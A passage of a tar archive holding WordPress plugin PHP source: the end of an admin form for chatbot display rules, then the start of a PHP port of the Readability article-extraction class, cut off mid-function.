'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Show The Chatbot Only For These Languages:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'show_locales" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->show_locales ) ? $data->show_locales : [ '' ]; $output .= aiomatic_get_locales_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the user roles for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Show The Chatbot For These User Roles:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'no_show_roles" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->no_show_roles ) ? $data->no_show_roles : [ '' ]; $output .= aiomatic_get_user_roles_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the user roles for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Show The Chatbot Only For These User Roles:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'show_roles" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->show_roles ) ? $data->show_roles : [ '' ]; $output .= aiomatic_get_user_roles_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the devices for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Show The Chatbot For These Devices:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'no_show_devices" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->no_show_devices ) ? $data->no_show_devices : [ '' ]; $output .= aiomatic_get_devices_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the devices for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Show The Chatbot Only For These Devices:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'show_devices" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->show_devices ) ? $data->show_devices : [ '' ]; $output .= aiomatic_get_devices_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the Operating Systems for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Show The Chatbot For These Operating Systems:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'no_show_oses" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->no_show_oses ) ? $data->no_show_oses : [ '' ]; $output .= aiomatic_get_oses_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the Operating Systems for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Show The Chatbot Only For These Operating Systems:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'show_oses" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->show_oses ) ? $data->show_oses : [ '' ]; $output .= aiomatic_get_oses_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the Browsers for which the chatbot will not be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Show The Chatbot For These Browsers:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'no_show_browsers" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->no_show_browsers ) ? $data->no_show_browsers : [ '' ]; $output .= aiomatic_get_browsers_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the Browsers for only which the chatbot will be shown.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Show The Chatbot Only For These Browsers:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div> <select multiple id="' . $uniqum . 'show_browsers" onchange="anyNewChatChanged();" class="resize_vertical cr_width_full">'; $selected = is_array( $data->show_browsers ) ? $data->show_browsers : [ '' ]; $output .= aiomatic_get_browsers_content($selected); $output .= '</select> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the IP Addresses for which the chatbot will not be shown. List of IP addresses or IP ranges. Examples: 46.33.233.31, 46.0-46.1", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Show The Chatbot For These IP Addresses:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div><textarea rows="2" id="' . $uniqum . 'no_show_ips" onchange="anyNewChatChanged();" placeholder="' . esc_html__("IP Addresses / Ranges", 'aiomatic-automatic-ai-content-writer') . '">' . esc_textarea($data->no_show_ips) . '</textarea> </div> </td></tr> <tr class="hideInject"><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the IP Addresses for only which the chatbot will be shown. List of IP addresses or IP ranges. Examples: 46.33.233.31, 46.0-46.1", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Show The Chatbot Only For These IP Addresses:", 'aiomatic-automatic-ai-content-writer') . '</b> </div> </td><td> <div><textarea rows="2" id="' . $uniqum . 'show_ips" onchange="anyNewChatChanged();" placeholder="' . esc_html__("IP Addresses / Ranges", 'aiomatic-automatic-ai-content-writer') . '">' . esc_textarea($data->show_ips) . '</textarea> </div> </td></tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Chatbot Injection</h3><span id="aiomatic_chat_ok' . esc_html($cont) . '" class="codeokfzr cr_inline" onclick="document.getElementById(\'mymodalchatfzr' . esc_html($cont) . '\').style.display = \'none\';">OK </span> <br/><br/> </div> </div> </div> </div> <div class="cr_center aiuniq-' . esc_html($uniq) . '"><span data-id="' . esc_html($uniq) . '" class="wpaiomatic-delete">X</span></div>'; $cont++; } } return $output; } ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-readability.php������������������������������������������������������������������������0000644�����������������00000146046�14757771437�0012164 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (!defined('ABSPATH')) exit; /** * Arc90's Readability ported to PHP for FiveFilters.org * Based on readability.js version 1.7.1 (without multi-page support) * Updated to allow HTML5 parsing with html5lib * Updated with lightClean mode to preserve more images and youtube/vimeo/viddler embeds * ------------------------------------------------------ * Original URL: http://lab.arc90.com/experiments/readability/js/readability.js * Arc90's project URL: http://lab.arc90.com/experiments/readability/ * JS Source: http://code.google.com/p/arc90labs-readability * Ported by: Keyvan Minoukadeh, http://www.keyvan.net * More information: http://fivefilters.org/content-only/ * License: Apache License, Version 2.0 * Requires: PHP5 * Date: 2012-09-19 * * Differences between the PHP port and the original * ------------------------------------------------------ * Arc90's Readability is designed to run in the browser. It works on the DOM * tree (the parsed HTML) after the page's CSS styles have been applied and * Javascript code executed. This PHP port does not run inside a browser. * We use PHP's ability to parse HTML to build our DOM tree, but we cannot * rely on CSS or Javascript support. As such, the results will not always * match Arc90's Readability. (For example, if a web page contains CSS style * rules or Javascript code which hide certain HTML elements from display, * Arc90's Readability will dismiss those from consideration but our PHP port, * unable to understand CSS or Javascript, will not know any better.) * * Another significant difference is that the aim of Arc90's Readability is * to re-present the main content block of a given web page so users can * read it more easily in their browsers. Correct identification, clean up, * and separation of the content block is only a part of this process. * This PHP port is only concerned with this part, it does not include code * that relates to presentation in the browser - Arc90 already do * that extremely well, and for PDF output there's FiveFilters.org's * PDF Newspaper: http://fivefilters.org/pdf-newspaper/. * * Finally, this class contains methods that might be useful for developers * working on HTML document fragments. So without deviating too much from * the original code (which I don't want to do because it makes debugging * and updating more difficult), I've tried to make it a little more * developer friendly. You should be able to use the methods here on * existing DOMElement objects without passing an entire HTML document to * be parsed. */ // This class allows us to do JavaScript like assignements to innerHTML require_once(dirname(__FILE__).'/class-js-like-html-element.php'); // Alternative usage (for testing only!) // uncomment the lines below and call Readability.php in your browser // passing it the URL of the page you'd like content from, e.g.: // Readability.php?url=http://medialens.org/alerts/09/090615_the_guardian_climate.php if(!class_exists('Readability2')) { class Readability2 { public $version = '1.7.1-without-multi-page'; public $convertLinksToFootnotes = false; public $revertForcedParagraphElements = true; public $articleTitle; public $articleContent; public $dom; public $url = null; // optional - URL where HTML was retrieved public $debug = false; public $lightClean = true; // preserves more content (experimental) added 2012-09-19 protected $body = null; // protected $bodyCache = null; // Cache the body HTML in case we need to re-use it later protected $flags = 7; // 1 | 2 | 4; // Start with all flags set. protected $success = false; // indicates whether we were able to extract or not /** * All of the regular expressions in use within readability. * Defined up here so we don't instantiate them repeatedly in loops. **/ public $regexps = array( 'unlikelyCandidates' => '/combx|comment|community|disqus|extra|foot|header|menu|remark|rss|shoutbox|sidebar|sponsor|ad-break|agegate|pagination|pager|popup/i', 'okMaybeItsACandidate' => '/and|article|body|column|main|shadow/i', 'positive' => '/article|body|content|entry|hentry|main|page|attachment|pagination|post|text|blog|story/i', 'negative' => '/combx|comment|com-|contact|foot|footer|_nav|footnote|masthead|media|meta|outbrain|promo|related|scroll|shoutbox|sidebar|sponsor|shopping|tags|tool|widget/i', 'divToPElements' => '/<(a|blockquote|dl|div|img|ol|p|pre|table|ul)/i', 'replaceBrs' => '/(<br[^>]*>[ \n\r\t]*){2,}/i', 'replaceFonts' => '/<(\/?)font[^>]*>/i', 'normalize' => '/\s{2,}/', 'killBreaks' => '/(<br\s*\/?>(\s| ?)*){1,}/', 'video' => '!//(player\.|www\.)?(youtube|vimeo|viddler)\.com!i', 'skipFootnoteLink' => '/^\s*(\[?[a-z0-9]{1,2}\]?|^|edit|citation needed)\s*$/i' ); /* constants */ const FLAG_STRIP_UNLIKELYS = 1; const FLAG_WEIGHT_CLASSES = 2; const FLAG_CLEAN_CONDITIONALLY = 4; /** * Create instance of Readability * @param string UTF-8 encoded string * @param string (optional) URL associated with HTML (used for footnotes) * @param string which parser to use for turning raw HTML into a DOMDocument (either 'libxml' or 'html5lib') */ function __construct($html, $url=null, $parser='libxml') { $this->url = $url; /* Turn all double br's into p's */ $html = preg_replace($this->regexps['replaceBrs'], '</p><p>', $html); $html = preg_replace($this->regexps['replaceFonts'], '<$1span>', $html); if(function_exists('htmlspecialchars')) { $html = htmlspecialchars($html, ENT_QUOTES, 'UTF-8'); } else { $html = htmlspecialchars_decode(utf8_decode(htmlentities($html, ENT_COMPAT, 'utf-8', false))); } if (trim($html) == '') $html = '<html></html>'; if ($parser=='html5lib' && ($this->dom = HTML5_Parser::parse($html))) { // all good } else { $this->dom = new DOMDocument(); $this->dom->preserveWhiteSpace = false; $internalErrors = libxml_use_internal_errors(true); $this->dom->loadHTML($html); libxml_use_internal_errors($internalErrors); } $this->dom->registerNodeClass('DOMElement', 'JSLikeHTMLElement'); } /** * Get article title element * @return DOMElement */ public function getTitle() { return $this->articleTitle; } /** * Get article content element * @return DOMElement */ public function getContent() { return $this->articleContent; } /** * Runs readability. * * Workflow: * 1. Prep the document by removing script tags, css, etc. * 2. Build readability's DOM tree. * 3. Grab the article content from the current dom tree. * 4. Replace the current DOM tree with the new one. * 5. Read peacefully. * * @return boolean true if we found content, false otherwise **/ public function init() { if (!isset($this->dom->documentElement)) return false; $this->removeScripts($this->dom); // Assume successful outcome $this->success = true; $bodyElems = $this->dom->getElementsByTagName('body'); if ($bodyElems->length > 0) { if ($this->bodyCache == null) { $this->bodyCache = $bodyElems->item(0)->innerHTML; } if ($this->body == null) { $this->body = $bodyElems->item(0); } } $this->prepDocument(); /* Build readability's DOM tree */ $overlay = $this->dom->createElement('div'); $innerDiv = $this->dom->createElement('div'); $articleTitle = $this->getArticleTitle(); $articleContent = $this->grabArticle(); if (!$articleContent) { $this->success = false; $articleContent = $this->dom->createElement('div'); $articleContent->setAttribute('id', 'readability-content'); $articleContent->innerHTML = '<p>Sorry, Readability was unable to parse this page for content.</p>'; } $overlay->setAttribute('id', 'readOverlay'); $innerDiv->setAttribute('id', 'readInner'); /* Glue the structure of our document together. */ $innerDiv->appendChild($articleTitle); $innerDiv->appendChild($articleContent); $overlay->appendChild($innerDiv); /* Clear the old HTML, insert the new content. */ $this->body->innerHTML = ''; $this->body->appendChild($overlay); $this->body->removeAttribute('style'); $this->postProcessContent($articleContent); // Set title and content instance variables $this->articleTitle = $articleTitle; $this->articleContent = $articleContent; return $this->success; } /** * Debug */ protected function dbg($msg) { if ($this->debug) echo '* ',$msg, "\n"; } /** * Run any post-process modifications to article content as necessary. * * @param DOMElement * @return void */ public function postProcessContent($articleContent) { if ($this->convertLinksToFootnotes && !preg_match('/wikipedia\.org/', $this->url)) { $this->addFootnotes($articleContent); } } /** * Get the article title as an H1. * * @return DOMElement */ protected function getArticleTitle() { $curTitle = ''; $origTitle = ''; try { $curTitle = $origTitle = $this->getInnerText($this->dom->getElementsByTagName('title')->item(0)); } catch(Exception $e) {} if (preg_match('/ [\|\-] /', $curTitle)) { $curTitle = preg_replace('/(.*)[\|\-] .*/i', '$1', $origTitle); if (count(explode(' ', $curTitle)) < 3) { $curTitle = preg_replace('/[^\|\-]*[\|\-](.*)/i', '$1', $origTitle); } } else if (strpos($curTitle, ': ') !== false) { $curTitle = preg_replace('/.*:(.*)/i', '$1', $origTitle); if (count(explode(' ', $curTitle)) < 3) { $curTitle = preg_replace('/[^:]*[:](.*)/i','$1', $origTitle); } } else if(strlen($curTitle) > 150 || strlen($curTitle) < 15) { $hOnes = $this->dom->getElementsByTagName('h1'); if($hOnes->length == 1) { $curTitle = $this->getInnerText($hOnes->item(0)); } } $curTitle = trim($curTitle); if (count(explode(' ', $curTitle)) <= 4) { $curTitle = $origTitle; } $articleTitle = $this->dom->createElement('h1'); $articleTitle->innerHTML = $curTitle; return $articleTitle; } /** * Prepare the HTML document for readability to scrape it. * This includes things like stripping javascript, CSS, and handling terrible markup. * * @return void **/ protected function prepDocument() { /** * In some cases a body element can't be found (if the HTML is totally hosed for example) * so we create a new body node and append it to the document. */ if ($this->body == null) { $this->body = $this->dom->createElement('body'); $this->dom->documentElement->appendChild($this->body); } $this->body->setAttribute('id', 'readabilityBody'); /* Remove all style tags in head */ $styleTags = $this->dom->getElementsByTagName('style'); for ($i = $styleTags->length-1; $i >= 0; $i--) { $styleTags->item($i)->parentNode->removeChild($styleTags->item($i)); } /* Turn all double br's into p's */ /* Note, this is pretty costly as far as processing goes. Maybe optimize later. */ //document.body.innerHTML = document.body.innerHTML.replace(readability.regexps.replaceBrs, '</p><p>').replace(readability.regexps.replaceFonts, '<$1span>'); // We do this in the constructor for PHP as that's when we have raw HTML - before parsing it into a DOM tree. // Manipulating innerHTML as it's done in JS is not possible in PHP. } /** * For easier reading, convert this document to have footnotes at the bottom rather than inline links. * @see http://www.roughtype.com/archives/2010/05/experiments_in.php * * @return void **/ public function addFootnotes($articleContent) { $footnotesWrapper = $this->dom->createElement('div'); $footnotesWrapper->setAttribute('id', 'readability-footnotes'); $footnotesWrapper->innerHTML = '<h3>References</h3>'; $articleFootnotes = $this->dom->createElement('ol'); $articleFootnotes->setAttribute('id', 'readability-footnotes-list'); $footnotesWrapper->appendChild($articleFootnotes); $articleLinks = $articleContent->getElementsByTagName('a'); $linkCount = 0; for ($i = 0; $i < $articleLinks->length; $i++) { $articleLink = $articleLinks->item($i); $footnoteLink = $articleLink->cloneNode(true); $refLink = $this->dom->createElement('a'); $footnote = $this->dom->createElement('li'); $linkDomain = parse_url($footnoteLink->getAttribute('href'), PHP_URL_HOST); if (!$linkDomain && isset($this->url)) $linkDomain = parse_url($this->url, PHP_URL_HOST); $linkText = $this->getInnerText($articleLink); if ((strpos($articleLink->getAttribute('class'), 'readability-DoNotFootnote') !== false) || preg_match($this->regexps['skipFootnoteLink'], $linkText)) { continue; } $linkCount++; /** Add a superscript reference after the article link */ $refLink->setAttribute('href', '#readabilityFootnoteLink-' . $linkCount); $refLink->innerHTML = '<small><sup>[' . $linkCount . ']</sup></small>'; $refLink->setAttribute('class', 'readability-DoNotFootnote'); $refLink->setAttribute('style', 'color: inherit;'); //TODO: does this work or should we use DOMNode.isSameNode()? if ($articleLink->parentNode->lastChild == $articleLink) { $articleLink->parentNode->appendChild($refLink); } else { $articleLink->parentNode->insertBefore($refLink, $articleLink->nextSibling); } $articleLink->setAttribute('style', 'color: inherit; text-decoration: none;'); $articleLink->setAttribute('name', 'readabilityLink-' . $linkCount); $footnote->innerHTML = '<small><sup><a href="#readabilityLink-' . $linkCount . '" title="Jump to Link in Article">^</a></sup></small> '; $footnoteLink->innerHTML = ($footnoteLink->getAttribute('title') != '' ? $footnoteLink->getAttribute('title') : $linkText); $footnoteLink->setAttribute('name', 'readabilityFootnoteLink-' . $linkCount); $footnote->appendChild($footnoteLink); if ($linkDomain) $footnote->innerHTML = $footnote->innerHTML . '<small> (' . $linkDomain . ')</small>'; $articleFootnotes->appendChild($footnote); } if ($linkCount > 0) { $articleContent->appendChild($footnotesWrapper); } } /** * Reverts P elements with class 'readability-styled' * to text nodes - which is what they were before. * * @param DOMElement * @return void */ function revertReadabilityStyledElements($articleContent) { $xpath = new DOMXPath($articleContent->ownerDocument); $elems = $xpath->query('.//p[@class="readability-styled"]', $articleContent); if($elems !== false) { for ($i = $elems->length-1; $i >= 0; $i--) { $e = $elems->item($i); $e->parentNode->replaceChild($articleContent->ownerDocument->createTextNode($e->textContent), $e); } } } /** * Prepare the article node for display. Clean out any inline styles, * iframes, forms, strip extraneous <p> tags, etc. * * @param DOMElement * @return void */ function prepArticle($articleContent) { $this->cleanStyles($articleContent); $this->killBreaks($articleContent); if ($this->revertForcedParagraphElements) { $this->revertReadabilityStyledElements($articleContent); } /* Clean out junk from the article content */ $this->cleanConditionally($articleContent, 'form'); $this->clean($articleContent, 'object'); $this->clean($articleContent, 'h1'); /** * If there is only one h2, they are probably using it * as a header and not a subheader, so remove it since we already have a header. ***/ if (!$this->lightClean && ($articleContent->getElementsByTagName('h2')->length == 1)) { $this->clean($articleContent, 'h2'); } $this->clean($articleContent, 'iframe'); $this->cleanHeaders($articleContent); /* Do these last as the previous stuff may have removed junk that will affect these */ $this->cleanConditionally($articleContent, 'table'); $this->cleanConditionally($articleContent, 'ul'); $this->cleanConditionally($articleContent, 'div'); /* Remove extra paragraphs */ $articleParagraphs = $articleContent->getElementsByTagName('p'); for ($i = $articleParagraphs->length-1; $i >= 0; $i--) { $imgCount = $articleParagraphs->item($i)->getElementsByTagName('img')->length; $embedCount = $articleParagraphs->item($i)->getElementsByTagName('embed')->length; $objectCount = $articleParagraphs->item($i)->getElementsByTagName('object')->length; $iframeCount = $articleParagraphs->item($i)->getElementsByTagName('iframe')->length; if ($imgCount === 0 && $embedCount === 0 && $objectCount === 0 && $iframeCount === 0 && $this->getInnerText($articleParagraphs->item($i), false) == '') { $articleParagraphs->item($i)->parentNode->removeChild($articleParagraphs->item($i)); } } try { $articleContent->innerHTML = preg_replace('/<br[^>]*>\s*<p/i', '<p', $articleContent->innerHTML); } catch (Exception $e) { $this->dbg("Cleaning innerHTML of breaks failed. This is an IE strict-block-elements bug. Ignoring.: " . $e); } } /** * Initialize a node with the readability object. Also checks the * className/id for special names to add to its score. * * @param Element * @return void **/ protected function initializeNode($node) { $readability = $this->dom->createAttribute('readability'); $readability->value = 0; // this is our contentScore $node->setAttributeNode($readability); switch (strtoupper($node->tagName)) { // unsure if strtoupper is needed, but using it just in case case 'DIV': $readability->value += 5; break; case 'PRE': case 'TD': case 'BLOCKQUOTE': $readability->value += 3; break; case 'ADDRESS': case 'OL': case 'UL': case 'DL': case 'DD': case 'DT': case 'LI': case 'FORM': $readability->value -= 3; break; case 'H1': case 'H2': case 'H3': case 'H4': case 'H5': case 'H6': case 'TH': $readability->value -= 5; break; } $readability->value += $this->getClassWeight($node); } /*** * grabArticle - Using a variety of metrics (content score, classname, element types), find the content that is * most likely to be the stuff a user wants to read. Then return it wrapped up in a div. * * @return DOMElement **/ protected function grabArticle($page=null) { $stripUnlikelyCandidates = $this->flagIsActive(self::FLAG_STRIP_UNLIKELYS); if (!$page) $page = $this->dom; $allElements = $page->getElementsByTagName('*'); /** * First, node prepping. Trash nodes that look cruddy (like ones with the class name "comment", etc), and turn divs * into P tags where they have been used inappropriately (as in, where they contain no other block level elements.) * * Note: Assignment from index for performance. See http://www.peachpit.com/articles/article.aspx?p=31567&seqNum=5 * TODO: Shouldn't this be a reverse traversal? **/ $node = null; $nodesToScore = array(); for ($nodeIndex = 0; ($node = $allElements->item($nodeIndex)); $nodeIndex++) { $tagName = strtoupper($node->tagName); /* Remove unlikely candidates */ if ($stripUnlikelyCandidates) { $unlikelyMatchString = $node->getAttribute('class') . $node->getAttribute('id'); if ( preg_match($this->regexps['unlikelyCandidates'], $unlikelyMatchString) && !preg_match($this->regexps['okMaybeItsACandidate'], $unlikelyMatchString) && $tagName != 'BODY' ) { $this->dbg('Removing unlikely candidate - ' . $unlikelyMatchString); $node->parentNode->removeChild($node); $nodeIndex--; continue; } } if ($tagName == 'P' || $tagName == 'TD' || $tagName == 'PRE') { $nodesToScore[] = $node; } /* Turn all divs that don't have children block level elements into p's */ if ($tagName == 'DIV') { if (!preg_match($this->regexps['divToPElements'], $node->innerHTML)) { $newNode = $this->dom->createElement('p'); try { $newNode->innerHTML = $node->innerHTML; $node->parentNode->replaceChild($newNode, $node); $nodeIndex--; $nodesToScore[] = $node; // or $newNode? } catch(Exception $e) { $this->dbg('Could not alter div to p, reverting back to div.: ' . $e); } } else { /* EXPERIMENTAL */ // TODO: change these p elements back to text nodes after processing for ($i = 0, $il = $node->childNodes->length; $i < $il; $i++) { $childNode = $node->childNodes->item($i); if ($childNode->nodeType == 3) { // XML_TEXT_NODE $p = $this->dom->createElement('p'); $p->innerHTML = $childNode->nodeValue; $p->setAttribute('style', 'display: inline;'); $p->setAttribute('class', 'readability-styled'); $childNode->parentNode->replaceChild($p, $childNode); } } } } } /** * Loop through all paragraphs, and assign a score to them based on how content-y they look. * Then add their score to their parent node. * * A score is determined by things like number of commas, class names, etc. Maybe eventually link density. **/ $candidates = array(); for ($pt=0; $pt < count($nodesToScore); $pt++) { $parentNode = $nodesToScore[$pt]->parentNode; $grandParentNode = !$parentNode ? null : (($parentNode->parentNode instanceof DOMElement) ? $parentNode->parentNode : null); $innerText = $this->getInnerText($nodesToScore[$pt]); if (!$parentNode || !isset($parentNode->tagName)) { continue; } /* If this paragraph is less than 25 characters, don't even count it. */ if(strlen($innerText) < 25) { continue; } /* Initialize readability data for the parent. */ if (!$parentNode->hasAttribute('readability')) { $this->initializeNode($parentNode); $candidates[] = $parentNode; } /* Initialize readability data for the grandparent. */ if ($grandParentNode && !$grandParentNode->hasAttribute('readability') && isset($grandParentNode->tagName)) { $this->initializeNode($grandParentNode); $candidates[] = $grandParentNode; } $contentScore = 0; /* Add a point for the paragraph itself as a base. */ $contentScore++; /* Add points for any commas within this paragraph */ $contentScore += count(explode(',', $innerText)); /* For every 100 characters in this paragraph, add another point. Up to 3 points. */ $contentScore += min(floor(strlen($innerText) / 100), 3); /* Add the score to the parent. The grandparent gets half. */ $parentNode->getAttributeNode('readability')->value += $contentScore; if ($grandParentNode) { $grandParentNode->getAttributeNode('readability')->value += $contentScore/2; } } /** * After we've calculated scores, loop through all of the possible candidate nodes we found * and find the one with the highest score. **/ $topCandidate = null; for ($c=0, $cl=count($candidates); $c < $cl; $c++) { /** * Scale the final candidates score based on link density. Good content should have a * relatively small link density (5% or less) and be mostly unaffected by this operation. **/ $readability = $candidates[$c]->getAttributeNode('readability'); $readability->value = $readability->value * (1 - $this->getLinkDensity($candidates[$c])); $this->dbg('Candidate: ' . $candidates[$c]->tagName . ' (' . $candidates[$c]->getAttribute('class') . ':' . $candidates[$c]->getAttribute('id') . ') with score ' . $readability->value); if (!$topCandidate || $readability->value > (int)$topCandidate->getAttribute('readability')) { $topCandidate = $candidates[$c]; } } /** * If we still have no top candidate, just use the body as a last resort. * We also have to copy the body node so it is something we can modify. **/ if ($topCandidate === null || strtoupper($topCandidate->tagName) == 'BODY') { $topCandidate = $this->dom->createElement('div'); if ($page instanceof DOMDocument) { if (!isset($page->documentElement)) { // we don't have a body either? what a mess! :) } else { $topCandidate->innerHTML = $page->documentElement->innerHTML; $page->documentElement->innerHTML = ''; $page->documentElement->appendChild($topCandidate); } } else { $topCandidate->innerHTML = $page->innerHTML; $page->innerHTML = ''; $page->appendChild($topCandidate); } $this->initializeNode($topCandidate); } /** * Now that we have the top candidate, look through its siblings for content that might also be related. * Things like preambles, content split by ads that we removed, etc. **/ $articleContent = $this->dom->createElement('div'); $articleContent->setAttribute('id', 'readability-content'); $siblingScoreThreshold = max(10, ((int)$topCandidate->getAttribute('readability')) * 0.2); $siblingNodes = $topCandidate->parentNode->childNodes; if (!isset($siblingNodes)) { $siblingNodes = new stdClass; $siblingNodes->length = 0; } for ($s=0, $sl=$siblingNodes->length; $s < $sl; $s++) { $siblingNode = $siblingNodes->item($s); $append = false; $this->dbg('Looking at sibling node: ' . $siblingNode->nodeName . (($siblingNode->nodeType === XML_ELEMENT_NODE && $siblingNode->hasAttribute('readability')) ? (' with score ' . $siblingNode->getAttribute('readability')) : '')); if ($siblingNode === $topCandidate) { $append = true; } $contentBonus = 0; /* Give a bonus if sibling nodes and top candidates have the example same classname */ if ($siblingNode->nodeType === XML_ELEMENT_NODE && $siblingNode->getAttribute('class') == $topCandidate->getAttribute('class') && $topCandidate->getAttribute('class') != '') { $contentBonus += ((int)$topCandidate->getAttribute('readability')) * 0.2; } if ($siblingNode->nodeType === XML_ELEMENT_NODE && $siblingNode->hasAttribute('readability') && (((int)$siblingNode->getAttribute('readability')) + $contentBonus) >= $siblingScoreThreshold) { $append = true; } if (strtoupper($siblingNode->nodeName) == 'P') { $linkDensity = $this->getLinkDensity($siblingNode); $nodeContent = $this->getInnerText($siblingNode); $nodeLength = strlen($nodeContent); if ($nodeLength > 80 && $linkDensity < 0.25) { $append = true; } else if ($nodeLength < 80 && $linkDensity === 0 && preg_match('/\.( |$)/', $nodeContent)) { $append = true; } } if ($append) { $this->dbg('Appending node: ' . $siblingNode->nodeName); $nodeToAppend = null; $sibNodeName = strtoupper($siblingNode->nodeName); if ($sibNodeName != 'DIV' && $sibNodeName != 'P') { /* We have a node that isn't a common block level element, like a form or td tag. Turn it into a div so it doesn't get filtered out later by accident. */ $this->dbg('Altering siblingNode of ' . $sibNodeName . ' to div.'); $nodeToAppend = $this->dom->createElement('div'); try { $nodeToAppend->setAttribute('id', $siblingNode->getAttribute('id')); $nodeToAppend->innerHTML = $siblingNode->innerHTML; } catch(Exception $e) { $this->dbg('Could not alter siblingNode to div, reverting back to original.'); $nodeToAppend = $siblingNode; $s--; $sl--; } } else { $nodeToAppend = $siblingNode; $s--; $sl--; } /* To ensure a node does not interfere with readability styles, remove its classnames */ $nodeToAppend->removeAttribute('class'); /* Append sibling and subtract from our list because it removes the node when you append to another node */ $articleContent->appendChild($nodeToAppend); } } /** * So we have all of the content that we need. Now we clean it up for presentation. **/ $this->prepArticle($articleContent); /** * Now that we've gone through the full algorithm, check to see if we got any meaningful content. * If we didn't, we may need to re-run grabArticle with different flags set. This gives us a higher * likelihood of finding the content, and the sieve approach gives us a higher likelihood of * finding the -right- content. **/ if (strlen($this->getInnerText($articleContent, false)) < 250) { // TODO: find out why element disappears sometimes, e.g. for this URL http://www.businessinsider.com/6-hedge-fund-etfs-for-average-investors-2011-7 // in the meantime, we check and create an empty element if it's not there. if (!isset($this->body->childNodes)) $this->body = $this->dom->createElement('body'); $this->body->innerHTML = $this->bodyCache; if ($this->flagIsActive(self::FLAG_STRIP_UNLIKELYS)) { $this->removeFlag(self::FLAG_STRIP_UNLIKELYS); return $this->grabArticle($this->body); } else if ($this->flagIsActive(self::FLAG_WEIGHT_CLASSES)) { $this->removeFlag(self::FLAG_WEIGHT_CLASSES); return $this->grabArticle($this->body); } else if 